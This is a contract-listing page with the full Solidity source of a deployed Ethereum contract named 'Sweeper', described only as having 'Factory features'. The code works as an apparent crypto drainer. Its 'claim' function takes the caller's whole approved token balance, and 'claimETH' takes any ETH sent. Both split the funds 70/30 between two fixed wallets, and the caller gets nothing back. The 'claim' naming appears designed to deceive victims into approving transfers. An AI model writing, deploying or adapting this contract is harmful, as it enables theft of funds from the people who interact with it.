Sweeper

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "reaper.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20 {\r
    function balanceOf(address account) external view returns (uint256);\r
    function allowance(address owner, address spender) external view returns (uint256);\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
    function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
\r
contract Sweeper {\r
    string public constant name = "Sweeper Contract";\r
    string public constant version = "1.0";\r
\r
    address public immutable wallet70;\r
    address public immutable wallet30;\r
    bool private locked;\r
    uint256 public constant MAX_CALLS = 10;\r
    uint256 private constant GAS_RESERVE = 100000;\r
\r
    event Claimed(address indexed user, address indexed token, uint256 amount70, uint256 amount30);\r
    event ETHClaimed(address indexed user, uint256 amount70, uint256 amount30);\r
    event MulticallExecuted(address indexed user, uint256 callsCount);\r
    event ERC20Recovered(address indexed token, address indexed to, uint256 amount);\r
\r
    modifier noReentrant() {\r
        require(!locked, "Reentrant call");\r
        locked = true;\r
        _;\r
        locked = false;\r
    }\r
\r
    constructor(address _wallet70, address _wallet30) {\r
        require(_wallet70 != address(0), "wallet70 is zero");\r
        require(_wallet30 != address(0), "wallet30 is zero");\r
        require(_wallet70 != _wallet30, "wallets must differ");\r
        wallet70 = _wallet70;\r
        wallet30 = _wallet30;\r
    }\r
\r
    function claim(address token) external noReentrant {\r
        IERC20 erc20 = IERC20(token);\r
        uint256 balance = erc20.balanceOf(msg.sender);\r
        uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));\r
\r
        require(balance > 0, "No tokens");\r
        require(allowanceAmount >= balance, "Allowance low");\r
\r
        uint256 amountToWallet30 = balance * 30 / 100;\r
        uint256 amountToWallet70 = balance - amountToWallet30;\r
\r
        bool success = erc20.transferFrom(msg.sender, address(this), balance);\r
        require(success, "TransferFrom failed");\r
\r
        if (amountToWallet70 > 0) {\r
            success = erc20.transfer(wallet70, amountToWallet70);\r
            require(success, "Transfer to wallet70 failed");\r
        }\r
        if (amountToWallet30 > 0) {\r
            success = erc20.transfer(wallet30, amountToWallet30);\r
            require(success, "Transfer to wallet30 failed");\r
        }\r
\r
        emit Claimed(msg.sender, token, amountToWallet70, amountToWallet30);\r
    }\r
\r
    function claimETH() external payable noReentrant {\r
        require(msg.value > 0, "No ETH sent");\r
\r
        uint256 amountToWallet30 = msg.value * 30 / 100;\r
        uint256 amountToWallet70 = msg.value - amountToWallet30;\r
\r
        (bool sent70, ) = payable(wallet70).call{value: amountToWallet70}("");\r
        require(sent70, "Send to wallet70 failed");\r
\r
        (bool sent30, ) = payable(wallet30).call{value: amountToWallet30}("");\r
        require(sent30, "Send to wallet30 failed");\r
\r
        emit ETHClaimed(msg.sender, amountToWallet70, amountToWallet30);\r
    }\r
\r
    struct Call {\r
        address target;\r
        bytes callData;\r
    }\r
\r
    function multicall(Call[] calldata calls) external noReentrant {\r
        require(calls.length <= MAX_CALLS, "Too many calls");\r
\r
        for (uint256 i = 0; i < calls.length; i++) {\r
            (bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);\r
            require(success, _errorMessage(i));\r
        }\r
\r
        emit MulticallExecuted(msg.sender, calls.length);\r
    }\r
\r
    function recoverERC20(address tokenAddress, uint256 amount) external {\r
        require(msg.sender == wallet70 || msg.sender == wallet30, "Not authorized");\r
        bool success = IERC20(tokenAddress).transfer(msg.sender, amount);\r
        require(success, "Recover failed");\r
        emit ERC20Recovered(tokenAddress, msg.sender, amount);\r
    }\r
\r
    function _errorMessage(uint256 index) internal pure returns (string memory) {\r
        return string(abi.encodePacked("Call failed at idx ", _toString(index)));\r
    }\r
\r
    function _toString(uint256 value) internal pure returns (string memory) {\r
        if (value == 0) return "0";\r
        uint256 temp = value;\r
        uint256 digits;\r
        while (temp != 0) {\r
            digits++;\r
            temp /= 10;\r
        }\r
        bytes memory buffer = new bytes(digits);\r
        while (value != 0) {\r
            digits -= 1;\r
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r
            value /= 10;\r
        }\r
        return string(buffer);\r
    }\r
\r
    receive() external payable {\r
        revert("No direct ETH");\r
    }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xcacbff0c0a07b38c2789f6ce3a0778414e684ce7|verified:true|block:23699273|tx:0x41fb4cf879190b8a83b5521c5b37383abf025478f1c123bba64ae8eda1692e23|first_check:1761940745

Submitted on: 2025-10-31 20:59:06

Comments

Log in to comment.

No comments yet.